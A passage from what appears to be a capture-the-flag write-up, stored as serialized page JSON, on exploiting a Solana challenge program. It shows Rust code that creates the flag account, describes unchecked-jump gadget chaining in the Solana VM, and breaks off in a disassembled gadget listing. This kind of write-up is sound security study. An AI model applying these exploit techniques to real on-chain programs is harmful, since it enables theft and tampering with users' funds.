",{"type":23,"tag":94,"props":42369,"children":42371},{"className":42370},[],[42372],{"type":28,"value":42373},"PDA(\"FLAG\")",{"type":28,"value":42375}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":42377,"children":42378},{},[42379,42381,42388],{"type":28,"value":42380},"Essentially, we need to ",{"type":23,"tag":31,"props":42382,"children":42385},{"href":42383,"rel":42384},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[35],[42386],{"type":28,"value":42387},"invoke the System Program",{"type":28,"value":42389},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":42391,"children":42392},{},[42393],{"type":28,"value":42394},"A sample program that does this is as follows:",{"type":23,"tag":304,"props":42396,"children":42398},{"className":2234,"code":42397,"language":2233,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[42399],{"type":23,"tag":94,"props":42400,"children":42401},{"__ignoreMap":7},[42402,42422,42446,42474,42502,42522,42558,42594,42601,42609,42642,42659,42684,42705,42757,42782,42789,42802,42848,42892,42900,42908,42919,42934,42945,42965,42985,42992,43028,43043,43050,43058,43137,43144,43155],{"type":23,"tag":314,"props":42403,"children":42404},{"class":316,"line":317},[42405,42409,42413,42418],{"type":23,"tag":314,"props":42406,"children":42407},{"style":321},[42408],{"type":28,"value":12938},{"type":23,"tag":314,"props":42410,"children":42411},{"style":321},[42412],{"type":28,"value":12943},{"type":23,"tag":314,"props":42414,"children":42415},{"style":332},[42416],{"type":28,"value":42417}," process_instruction",{"type":23,"tag":314,"props":42419,"children":42420},{"style":338},[42421],{"type":28,"value":2719},{"type":23,"tag":314,"props":42423,"children":42424},{"class":316,"line":370},[42425,42430,42434,42438,42442],{"type":23,"tag":314,"props":42426,"children":42427},{"style":360},[42428],{"type":28,"value":42429}," program_id",{"type":23,"tag":314,"props":42431,"children":42432},{"style":354},[42433],{"type":28,"value":3746},{"type":23,"tag":314,"props":42435,"children":42436},{"style":354},[42437],{"type":28,"value":1968},{"type":23,"tag":314,"props":42439,"children":42440},{"style":2674},[42441],{"type":28,"value":20635},{"type":23,"tag":314,"props":42443,"children":42444},{"style":338},[42445],{"type":28,"value":1870},{"type":23,"tag":314,"props":42447,"children":42448},{"class":316,"line":380},[42449,42454,42458,42462,42466,42470],{"type":23,"tag":314,"props":42450,"children":42451},{"style":360},[42452],{"type":28,"value":42453}," accounts",{"type":23,"tag":314,"props":42455,"children":42456},{"style":354},[42457],{"type":28,"value":3746},{"type":23,"tag":314,"props":42459,"children":42460},{"style":354},[42461],{"type":28,"value":1968},{"type":23,"tag":314,"props":42463,"children":42464},{"style":338},[42465],{"type":28,"value":1312},{"type":23,"tag":314,"props":42467,"children":42468},{"style":2674},[42469],{"type":28,"value":14181},{"type":23,"tag":314,"props":42471,"children":42472},{"style":338},[42473],{"type":28,"value":13510},{"type":23,"tag":314,"props":42475,"children":42476},{"class":316,"line":1091},[42477,42482,42486,42490,42494,42498],{"type":23,"tag":314,"props":42478,"children":42479},{"style":360},[42480],{"type":28,"value":42481}," data",{"type":23,"tag":314,"props":42483,"children":42484},{"style":354},[42485],{"type":28,"value":3746},{"type":23,"tag":314,"props":42487,"children":42488},{"style":354},[42489],{"type":28,"value":1968},{"type":23,"tag":314,"props":42491,"children":42492},{"style":338},[42493],{"type":28,"value":1312},{"type":23,"tag":314,"props":42495,"children":42496},{"style":2674},[42497],{"type":28,"value":2677},{"type":23,"tag":314,"props":42499,"children":42500},{"style":338},[42501],{"type":28,"value":11020},{"type":23,"tag":314,"props":42503,"children":42504},{"class":316,"line":1141},[42505,42509,42513,42518],{"type":23,"tag":314,"props":42506,"children":42507},{"style":338},[42508],{"type":28,"value":2343},{"type":23,"tag":314,"props":42510,"children":42511},{"style":354},[42512],{"type":28,"value":1015},{"type":23,"tag":314,"props":42514,"children":42515},{"style":2674},[42516],{"type":28,"value":42517}," ProgramResult",{"type":23,"tag":314,"props":42519,"children":42520},{"style":338},[42521],{"type":28,"value":1449},{"type":23,"tag":314,"props":42523,"children":42524},{"class":316,"line":1173},[42525,42529,42534,42538,42542,42546,42550,42554],{"type":23,"tag":314,"props":42526,"children":42527},{"style":321},[42528],{"type":28,"value":2254},{"type":23,"tag":314,"props":42530,"children":42531},{"style":360},[42532],{"type":28,"value":42533}," flag_pda_ai",{"type":23,"tag":314,"props":42535,"children":42536},{"style":354},[42537],{"type":28,"value":1237},{"type":23,"tag":314,"props":42539,"children":42540},{"style":354},[42541],{"type":28,"value":1968},{"type":23,"tag":314,"props":42543,"children":42544},{"style":360},[42545],{"type":28,"value":238},{"type":23,"tag":314,"props":42547,"children":42548},{"style":338},[42549],{"type":28,"value":1312},{"type":23,"tag":314,"props":42551,"children":42552},{"style":1054},[42553],{"type":28,"value":1600},{"type":23,"tag":314,"props":42555,"children":42556},{"style":338},[42557],{"type":28,"value":2005},{"type":23,"tag":314,"props":42559,"children":42560},{"class":316,"line":1208},[42561,42565,42570,42574,42578,42582,42586,42590],{"type":23,"tag":314,"props":42562,"children":42563},{"style":321},[42564],{"type":28,"value":2254},{"type":23,"tag":314,"props":42566,"children":42567},{"style":360},[42568],{"type":28,"value":42569}," user_ai",{"type":23,"tag":314,"props":42571,"children":42572},{"style":354},[42573],{"type":28,"value":1237},{"type":23,"tag":314,"props":42575,"children":42576},{"style":354},[42577],{"type":28,"value":1968},{"type":23,"tag":314,"props":42579,"children":42580},{"style":360},[42581],{"type":28,"value":238},{"type":23,"tag":314,"props":42583,"children":42584},{"style":338},[42585],{"type":28,"value":1312},{"type":23,"tag":314,"props":42587,"children":42588},{"style":1054},[42589],{"type":28,"value":3267},{"type":23,"tag":314,"props":42591,"children":42592},{"style":338},[42593],{"type":28,"value":2005},{"type":23,"tag":314,"props":42595,"children":42596},{"class":316,"line":1216},[42597],{"type":23,"tag":314,"props":42598,"children":42599},{"emptyLinePlaceholder":18},[42600],{"type":28,"value":1088},{"type":23,"tag":314,"props":42602,"children":42603},{"class":316,"line":1301},[42604],{"type":23,"tag":314,"props":42605,"children":42606},{"style":374},[42607],{"type":28,"value":42608}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":314,"props":42610,"children":42611},{"class":316,"line":1343},[42612,42616,42621,42625,42629,42633,42638],{"type":23,"tag":314,"props":42613,"children":42614},{"style":321},[42615],{"type":28,"value":2254},{"type":23,"tag":314,"props":42617,"children":42618},{"style":360},[42619],{"type":28,"value":42620}," instruction",{"type":23,"tag":314,"props":42622,"children":42623},{"style":354},[42624],{"type":28,"value":1237},{"type":23,"tag":314,"props":42626,"children":42627},{"style":2674},[42628],{"type":28,"value":40260},{"type":23,"tag":314,"props":42630,"children":42631},{"style":354},[42632],{"type":28,"value":2737},{"type":23,"tag":314,"props":42634,"children":42635},{"style":332},[42636],{"type":28,"value":42637},"new_with_bincode",{"type":23,"tag":314,"props":42639,"children":42640},{"style":338},[42641],{"type":28,"value":2719},{"type":23,"tag":314,"props":42643,"children":42644},{"class":316,"line":1351},[42645,42650,42654],{"type":23,"tag":314,"props":42646,"children":42647},{"style":338},[42648],{"type":28,"value":42649}," system_program",{"type":23,"tag":314,"props":42651,"children":42652},{"style":354},[42653],{"type":28,"value":2737},{"type":23,"tag":314,"props":42655,"children":42656},{"style":338},[42657],{"type":28,"value":42658},"ID,\n",{"type":23,"tag":314,"props":42660,"children":42661},{"class":316,"line":1387},[42662,42666,42671,42675,42680],{"type":23,"tag":314,"props":42663,"children":42664},{"style":354},[42665],{"type":28,"value":2727},{"type":23,"tag":314,"props":42667,"children":42668},{"style":338},[42669],{"type":28,"value":42670},"SystemInstruction",{"type":23,"tag":314,"props":42672,"children":42673},{"style":354},[42674],{"type":28,"value":2737},{"type":23,"tag":314,"props":42676,"children":42677},{"style":2674},[42678],{"type":28,"value":42679},"CreateAccount",{"type":23,"tag":314,"props":42681,"children":42682},{"style":338},[42683],{"type":28,"value":1449},{"type":23,"tag":314,"props":42685,"children":42686},{"class":316,"line":1422},[42687,42692,42696,42701],{"type":23,"tag":314,"props":42688,"children":42689},{"style":360},[42690],{"type":28,"value":42691}," space",{"type":23,"tag":314,"props":42693,"children":42694},{"style":354},[42695],{"type":28,"value":3746},{"type":23,"tag":314,"props":42697,"children":42698},{"style":1054},[42699],{"type":28,"value":42700}," 0x1337",{"type":23,"tag":314,"props":42702,"children":42703},{"style":338},[42704],{"type":28,"value":1870},{"type":23,"tag":314,"props":42706,"children":42707},{"class":316,"line":1430},[42708,42713,42717,42722,42726,42731,42735,42739,42744,42748,42753],{"type":23,"tag":314,"props":42709,"children":42710},{"style":360},[42711],{"type":28,"value":42712}," lamports",{"type":23,"tag":314,"props":42714,"children":42715},{"style":354},[42716],{"type":28,"value":3746},{"type":23,"tag":314,"props":42718,"children":42719},{"style":338},[42720],{"type":28,"value":42721}," Rent",{"type":23,"tag":314,"props":42723,"children":42724},{"style":354},[42725],{"type":28,"value":2737},{"type":23,"tag":314,"props":42727,"children":42728},{"style":332},[42729],{"type":28,"value":42730},"default",{"type":23,"tag":314,"props":42732,"children":42733},{"style":338},[42734],{"type":28,"value":13126},{"type":23,"tag":314,"props":42736,"children":42737},{"style":354},[42738],{"type":28,"value":282},{"type":23,"tag":314,"props":42740,"children":42741},{"style":332},[42742],{"type":28,"value":42743},"minimum_balance",{"type":23,"tag":314,"props":42745,"children":42746},{"style":338},[42747],{"type":28,"value":341},{"type":23,"tag":314,"props":42749,"children":42750},{"style":1054},[42751],{"type":28,"value":42752},"0x1337",{"type":23,"tag":314,"props":42754,"children":42755},{"style":338},[42756],{"type":28,"value":5992},{"type":23,"tag":314,"props":42758,"children":42759},{"class":316,"line":1452},[42760,42765,42769,42773,42777],{"type":23,"tag":314,"props":42761,"children":42762},{"style":360},[42763],{"type":28,"value":42764}," owner",{"type":23,"tag":314,"props":42766,"children":42767},{"style":354},[42768],{"type":28,"value":3746},{"type":23,"tag":314,"props":42770,"children":42771},{"style":338},[42772],{"type":28,"value":41292},{"type":23,"tag":314,"props":42774,"children":42775},{"style":354},[42776],{"type":28,"value":2737},{"type":23,"tag":314,"props":42778,"children":42779},{"style":338},[42780],{"type":28,"value":42781},"ID\n",{"type":23,"tag":314,"props":42783,"children":42784},{"class":316,"line":1497},[42785],{"type":23,"tag":314,"props":42786,"children":42787},{"style":338},[42788],{"type":28,"value":24619},{"type":23,"tag":314,"props":42790,"children":42791},{"class":316,"line":1539},[42792,42797],{"type":23,"tag":314,"props":42793,"children":42794},{"style":332},[42795],{"type":28,"value":42796}," vec!",{"type":23,"tag":314,"props":42798,"children":42799},{"style":338},[42800],{"type":28,"value":42801},"[\n",{"type":23,"tag":314,"props":42803,"children":42804},{"class":316,"line":1548},[42805,42810,42814,42818,42822,42826,42831,42835,42840,42844],{"type":23,"tag":314,"props":42806,"children":42807},{"style":338},[42808],{"type":28,"value":42809}," AccountMeta",{"type":23,"tag":314,"props":42811,"children":42812},{"style":354},[42813],{"type":28,"value":2737},{"type":23,"tag":314,"props":42815,"children":42816},{"style":332},[42817],{"type":28,"value":14364},{"type":23,"tag":314,"props":42819,"children":42820},{"style":338},[42821],{"type":28,"value":341},{"type":23,"tag":314,"props":42823,"children":42824},{"style":354},[42825],{"type":28,"value":256},{"type":23,"tag":314,"props":42827,"children":42828},{"style":360},[42829],{"type":28,"value":42830},"user_ai",{"type":23,"tag":314,"props":42832,"children":42833},{"style":354},[42834],{"type":28,"value":282},{"type":23,"tag":314,"props":42836,"children":42837},{"style":338},[42838],{"type":28,"value":42839},"key, ",{"type":23,"tag":314,"props":42841,"children":42842},{"style":321},[42843],{"type":28,"value":1481},{"type":23,"tag":314,"props":42845,"children":42846},{"style":338},[42847],{"type":28,"value":5992},{"type":23,"tag":314,"props":42849,"children":42850},{"class":316,"line":1584},[42851,42855,42859,42863,42867,42871,42876,42880,42884,42888],{"type":23,"tag":314,"props":42852,"children":42853},{"style":338},[42854],{"type":28,"value":42809},{"type":23,"tag":314,"props":42856,"children":42857},{"style":354},[42858],{"type":28,"value":2737},{"type":23,"tag":314,"props":42860,"children":42861},{"style":332},[42862],{"type":28,"value":14364},{"type":23,"tag":314,"props":42864,"children":42865},{"style":338},[42866],{"type":28,"value":341},{"type":23,"tag":314,"props":42868,"children":42869},{"style":354},[42870],{"type":28,"value":256},{"type":23,"tag":314,"props":42872,"children":42873},{"style":360},[42874],{"type":28,"value":42875},"flag_pda_ai",{"type":23,"tag":314,"props":42877,"children":42878},{"style":354},[42879],{"type":28,"value":282},{"type":23,"tag":314,"props":42881,"children":42882},{"style":338},[42883],{"type":28,"value":42839},{"type":23,"tag":314,"props":42885,"children":42886},{"style":321},[42887],{"type":28,"value":1481},{"type":23,"tag":314,"props":42889,"children":42890},{"style":338},[42891],{"type":28,"value":5992},{"type":23,"tag":314,"props":42893,"children":42894},{"class":316,"line":1617},[42895],{"type":23,"tag":314,"props":42896,"children":42897},{"style":338},[42898],{"type":28,"value":42899}," ],\n",{"type":23,"tag":314,"props":42901,"children":42902},{"class":316,"line":1625},[42903],{"type":23,"tag":314,"props":42904,"children":42905},{"style":338},[42906],{"type":28,"value":42907}," );\n",{"type":23,"tag":314,"props":42909,"children":42910},{"class":316,"line":1660},[42911,42915],{"type":23,"tag":314,"props":42912,"children":42913},{"style":332},[42914],{"type":28,"value":40377},{"type":23,"tag":314,"props":42916,"children":42917},{"style":338},[42918],{"type":28,"value":2719},{"type":23,"tag":314,"props":42920,"children":42921},{"class":316,"line":1708},[42922,42926,42930],{"type":23,"tag":314,"props":42923,"children":42924},{"style":354},[42925],{"type":28,"value":2727},{"type":23,"tag":314,"props":42927,"children":42928},{"style":360},[42929],{"type":28,"value":1838},{"type":23,"tag":314,"props":42931,"children":42932},{"style":338},[42933],{"type":28,"value":1870},{"type":23,"tag":314,"props":42935,"children":42936},{"class":316,"line":1743},[42937,42941],{"type":23,"tag":314,"props":42938,"children":42939},{"style":354},[42940],{"type":28,"value":2727},{"type":23,"tag":314,"props":42942,"children":42943},{"style":338},[42944],{"type":28,"value":42801},{"type":23,"tag":314,"props":42946,"children":42947},{"class":316,"line":1751},[42948,42953,42957,42961],{"type":23,"tag":314,"props":42949,"children":42950},{"style":360},[42951],{"type":28,"value":42952}," user_ai",{"type":23,"tag":314,"props":42954,"children":42955},{"style":354},[42956],{"type":28,"value":282},{"type":23,"tag":314,"props":42958,"children":42959},{"style":332},[42960],{"type":28,"value":14662},{"type":23,"tag":314,"props":42962,"children":42963},{"style":338},[42964],{"type":28,"value":2747},{"type":23,"tag":314,"props":42966,"children":42967},{"class":316,"line":1791},[42968,42973,42977,42981],{"type":23,"tag":314,"props":42969,"children":42970},{"style":360},[42971],{"type":28,"value":42972}," flag_pda_ai",{"type":23,"tag":314,"props":42974,"children":42975},{"style":354},[42976],{"type":28,"value":282},{"type":23,"tag":314,"props":42978,"children":42979},{"style":332},[42980],{"type":28,"value":14662},{"type":23,"tag":314,"props":42982,"children":42983},{"style":338},[42984],{"type":28,"value":2747},{"type":23,"tag":314,"props":42986,"children":42987},{"class":316,"line":1805},[42988],{"type":23,"tag":314,"props":42989,"children":42990},{"style":338},[42991],{"type":28,"value":42899},{"type":23,"tag":314,"props":42993,"children":42994},{"class":316,"line":1818},[42995,42999,43003,43007,43011,43015,43019,43023],{"type":23,"tag":314,"props":42996,"children":42997},{"style":354},[42998],{"type":28,"value":2727},{"type":23,"tag":314,"props":43000,"children":43001},{"style":338},[43002],{"type":28,"value":1312},{"type":23,"tag":314,"props":43004,"children":43005},{"style":354},[43006],{"type":28,"value":1833},{"type":23,"tag":314,"props":43008,"children":43009},{"style":338},[43010],{"type":28,"value":1312},{"type":23,"tag":314,"props":43012,"children":43013},{"style":1245},[43014],{"type":28,"value":41872},{"type":23,"tag":314,"props":43016,"children":43017},{"style":354},[43018],{"type":28,"value":282},{"type":23,"tag":314,"props":43020,"children":43021},{"style":332},[43022],{"type":28,"value":41881},{"type":23,"tag":314,"props":43024,"children":43025},{"style":338},[43026],{"type":28,"value":43027},"()]],\n",{"type":23,"tag":314,"props":43029,"children":43030},{"class":316,"line":1873},[43031,43035,43039],{"type":23,"tag":314,"props":43032,"children":43033},{"style":338},[43034],{"type":28,"value":2912},{"type":23,"tag":314,"props":43036,"children":43037},{"style":354},[43038],{"type":28,"value":2409},{"type":23,"tag":314,"props":43040,"children":43041},{"style":338},[43042],{"type":28,"value":2278},{"type":23,"tag":314,"props":43044,"children":43045},{"class":316,"line":1891},[43046],{"type":23,"tag":314,"props":43047,"children":43048},{"emptyLinePlaceholder":18},[43049],{"type":28,"value":1088},{"type":23,"tag":314,"props":43051,"children":43052},{"class":316,"line":1899},[43053],{"type":23,"tag":314,"props":43054,"children":43055},{"style":374},[43056],{"type":28,"value":43057}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":314,"props":43059,"children":43060},{"class":316,"line":1944},[43061,43066,43070,43074,43078,43082,43086,43090,43094,43098,43102,43107,43111,43115,43120,43124,43128,43133],{"type":23,"tag":314,"props":43062,"children":43063},{"style":360},[43064],{"type":28,"value":43065}," flag_pda_ai",{"type":23,"tag":314,"props":43067,"children":43068},{"style":354},[43069],{"type":28,"value":282},{"type":23,"tag":314,"props":43071,"children":43072},{"style":332},[43073],{"type":28,"value":13121},{"type":23,"tag":314,"props":43075,"children":43076},{"style":338},[43077],{"type":28,"value":13126},{"type":23,"tag":314,"props":43079,"children":43080},{"style":354},[43081],{"type":28,"value":2409},{"type":23,"tag":314,"props":43083,"children":43084},{"style":338},[43085],{"type":28,"value":1312},{"type":23,"tag":314,"props":43087,"children":43088},{"style":354},[43089],{"type":28,"value":2306},{"type":23,"tag":314,"props":43091,"children":43092},{"style":1054},[43093],{"type":28,"value":3330},{"type":23,"tag":314,"props":43095,"children":43096},{"style":338},[43097],{"type":28,"value":14653},{"type":23,"tag":314,"props":43099,"children":43100},{"style":354},[43101],{"type":28,"value":282},{"type":23,"tag":314,"props":43103,"children":43104},{"style":332},[43105],{"type":28,"value":43106},"copy_from_slice",{"type":23,"tag":314,"props":43108,"children":43109},{"style":338},[43110],{"type":28,"value":341},{"type":23,"tag":314,"props":43112,"children":43113},{"style":354},[43114],{"type":28,"value":1833},{"type":23,"tag":314,"props":43116,"children":43117},{"style":1054},[43118],{"type":28,"value":43119},"0x4337",{"type":23,"tag":314,"props":43121,"children":43122},{"style":2674},[43123],{"type":28,"value":7297},{"type":23,"tag":314,"props":43125,"children":43126},{"style":354},[43127],{"type":28,"value":282},{"type":23,"tag":314,"props":43129,"children":43130},{"style":332},[43131],{"type":28,"value":43132},"to_le_bytes",{"type":23,"tag":314,"props":43134,"children":43135},{"style":338},[43136],{"type":28,"value":14667},{"type":23,"tag":314,"props":43138,"children":43139},{"class":316,"line":2008},[43140],{"type":23,"tag":314,"props":43141,"children":43142},{"emptyLinePlaceholder":18},[43143],{"type":28,"value":1088},{"type":23,"tag":314,"props":43145,"children":43146},{"class":316,"line":2043},[43147,43151],{"type":23,"tag":314,"props":43148,"children":43149},{"style":2674},[43150],{"type":28,"value":13580},{"type":23,"tag":314,"props":43152,"children":43153},{"style":338},[43154],{"type":28,"value":13585},{"type":23,"tag":314,"props":43156,"children":43157},{"class":316,"line":22803},[43158],{"type":23,"tag":314,"props":43159,"children":43160},{"style":338},[43161],{"type":28,"value":386},{"type":23,"tag":24,"props":43163,"children":43164},{},[43165],{"type":28,"value":43166},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":43168,"children":43169},{},[43170],{"type":23,"tag":197,"props":43171,"children":43174},{"alt":43172,"src":43173},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":43176,"children":43177},{},[43178],{"type":28,"value":43179},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":61,"props":43181,"children":43183},{"id":43182},"solution-implementation",[43184],{"type":28,"value":43185},"Solution Implementation",{"type":23,"tag":24,"props":43187,"children":43188},{},[43189,43191,43196],{"type":28,"value":43190},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":94,"props":43192,"children":43194},{"className":43193},[],[43195],{"type":28,"value":34930},{"type":28,"value":43197}," invocations:",{"type":23,"tag":304,"props":43199,"children":43203},{"className":43200,"code":43201,"language":43202,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[43204],{"type":23,"tag":94,"props":43205,"children":43206},{"__ignoreMap":7},[43207,43215,43223,43231,43239,43247,43255],{"type":23,"tag":314,"props":43208,"children":43209},{"class":316,"line":317},[43210],{"type":23,"tag":314,"props":43211,"children":43212},{},[43213],{"type":28,"value":43214},"graph LR\n",{"type":23,"tag":314,"props":43216,"children":43217},{"class":316,"line":370},[43218],{"type":23,"tag":314,"props":43219,"children":43220},{},[43221],{"type":28,"value":43222}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":314,"props":43224,"children":43225},{"class":316,"line":380},[43226],{"type":23,"tag":314,"props":43227,"children":43228},{},[43229],{"type":28,"value":43230}," B --> C[2: process]\n",{"type":23,"tag":314,"props":43232,"children":43233},{"class":316,"line":1091},[43234],{"type":23,"tag":314,"props":43235,"children":43236},{},[43237],{"type":28,"value":43238}," C --> D[3: gadget1]\n",{"type":23,"tag":314,"props":43240,"children":43241},{"class":316,"line":1141},[43242],{"type":23,"tag":314,"props":43243,"children":43244},{},[43245],{"type":28,"value":43246}," C --> E[3: process]\n",{"type":23,"tag":314,"props":43248,"children":43249},{"class":316,"line":1173},[43250],{"type":23,"tag":314,"props":43251,"children":43252},{},[43253],{"type":28,"value":43254}," E --> F[4: gadget2]\n",{"type":23,"tag":314,"props":43256,"children":43257},{"class":316,"line":1208},[43258],{"type":23,"tag":314,"props":43259,"children":43260},{},[43261],{"type":28,"value":43262}," E --> G[...]\n",{"type":23,"tag":24,"props":43264,"children":43265},{},[43266],{"type":28,"value":43267},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":43269,"children":43270},{},[43271,43273,43279],{"type":28,"value":43272},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":31,"props":43274,"children":43276},{"href":39735,"rel":43275},[35],[43277],{"type":28,"value":43278},"Binary Ninja",{"type":28,"value":43280}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":43282,"children":43283},{},[43284,43286,43293],{"type":28,"value":43285},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":31,"props":43287,"children":43290},{"href":43288,"rel":43289},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[35],[43291],{"type":28,"value":43292},"skip the strip pass",{"type":28,"value":282},{"type":23,"tag":837,"props":43295,"children":43297},{"id":43296},"cpi-gadget",[43298],{"type":28,"value":43299},"CPI Gadget",{"type":23,"tag":24,"props":43301,"children":43302},{},[43303,43305,43310,43312,43319,43321,43327],{"type":28,"value":43304},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":94,"props":43306,"children":43308},{"className":43307},[],[43309],{"type":28,"value":37544},{"type":28,"value":43311}," function. This function calls into the solana sdk's function ",{"type":23,"tag":31,"props":43313,"children":43316},{"href":43314,"rel":43315},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[35],[43317],{"type":28,"value":43318},"invoke_signed_unchecked",{"type":28,"value":43320},", yielding a powerful gadget at the address ",{"type":23,"tag":94,"props":43322,"children":43324},{"className":43323},[],[43325],{"type":28,"value":43326},"0x100001ba8",{"type":28,"value":282},{"type":23,"tag":304,"props":43329,"children":43331},{"className":2234,"code":43330,"language":2233,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[43332],{"type":23,"tag":94,"props":43333,"children":43334},{"__ignoreMap":7},[43335,43360,43416,43467,43519,43571,43594,43642,43649,43681,43732,43789,43823,43830,43879,43909,43984,43991,44042,44088,44095,44126,44177,44207,44229,44236,44287,44332,44339,44390,44418,44439,44446],{"type":23,"tag":314,"props":43336,"children":43337},{"class":316,"line":317},[43338,43342,43346,43351,43355],{"type":23,"tag":314,"props":43339,"children":43340},{"style":338},[43341],{"type":28,"value":12901},{"type":23,"tag":314,"props":43343,"children":43344},{"style":354},[43345],{"type":28,"value":2737},{"type":23,"tag":314,"props":43347,"children":43348},{"style":338},[43349],{"type":28,"value":43350},"program",{"type":23,"tag":314,"props":43352,"children":43353},{"style":354},[43354],{"type":28,"value":2737},{"type":23,"tag":314,"props":43356,"children":43357},{"style":360},[43358],{"type":28,"value":43359},"invoke_signed_unchecked\n",{"type":23,"tag":314,"props":43361,"children":43362},{"class":316,"line":370},[43363,43368,43373,43378,43383,43388,43393,43397,43402,43407,43412],{"type":23,"tag":314,"props":43364,"children":43365},{"style":360},[43366],{"type":28,"value":43367},"100001ba8",{"type":23,"tag":314,"props":43369,"children":43370},{"style":360},[43371],{"type":28,"value":43372}," 79a278ff00000000",{"type":23,"tag":314,"props":43374,"children":43375},{"style":360},[43376],{"type":28,"value":43377}," ldxdw",{"type":23,"tag":314,"props":43379,"children":43380},{"style":360},[43381],{"type":28,"value":43382}," r2",{"type":23,"tag":314,"props":43384,"children":43385},{"style":338},[43386],{"type":28,"value":43387},", [",{"type":23,"tag":314,"props":43389,"children":43390},{"style":360},[43391],{"type":28,"value":43392},"r10",{"type":23,"tag":314,"props":43394,"children":43395},{"style":354},[43396],{"type":28,"value":1051},{"type":23,"tag":314,"props":43398,"children":43399},{"style":1054},[43400],{"type":28,"value":43401},"136",{"type":23,"tag":314,"props":43403,"children":43404},{"style":338},[43405],{"type":28,"value":43406},"] {",{"type":23,"tag":314,"props":43408,"children":43409},{"style":360},[43410],{"type":28,"value":43411},"var_88",{"type":23,"tag":314,"props":43413,"children":43414},{"style":338},[43415],{"type":28,"value":386},{"type":23,"tag":314,"props":43417,"children":43418},{"class":316,"line":380},[43419,43424,43429,43433,43438,43442,43446,43450,43454,43458,43463],{"type":23,"tag":314,"props":43420,"children":43421},{"style":360},[43422],{"type":28,"value":43423},"100001bb0",{"type":23,"tag":314,"props":43425,"children":43426},{"style":360},[43427],{"type":28,"value":43428}," 79a380ff00000000",{"type":23,"tag":314,"props":43430,"children":43431},{"style":360},[43432],{"type":28,"value":43377},{"type":23,"tag":314,"props":43434,"children":43435},{"style":360},[43436],{"type":28,"value":43437}," 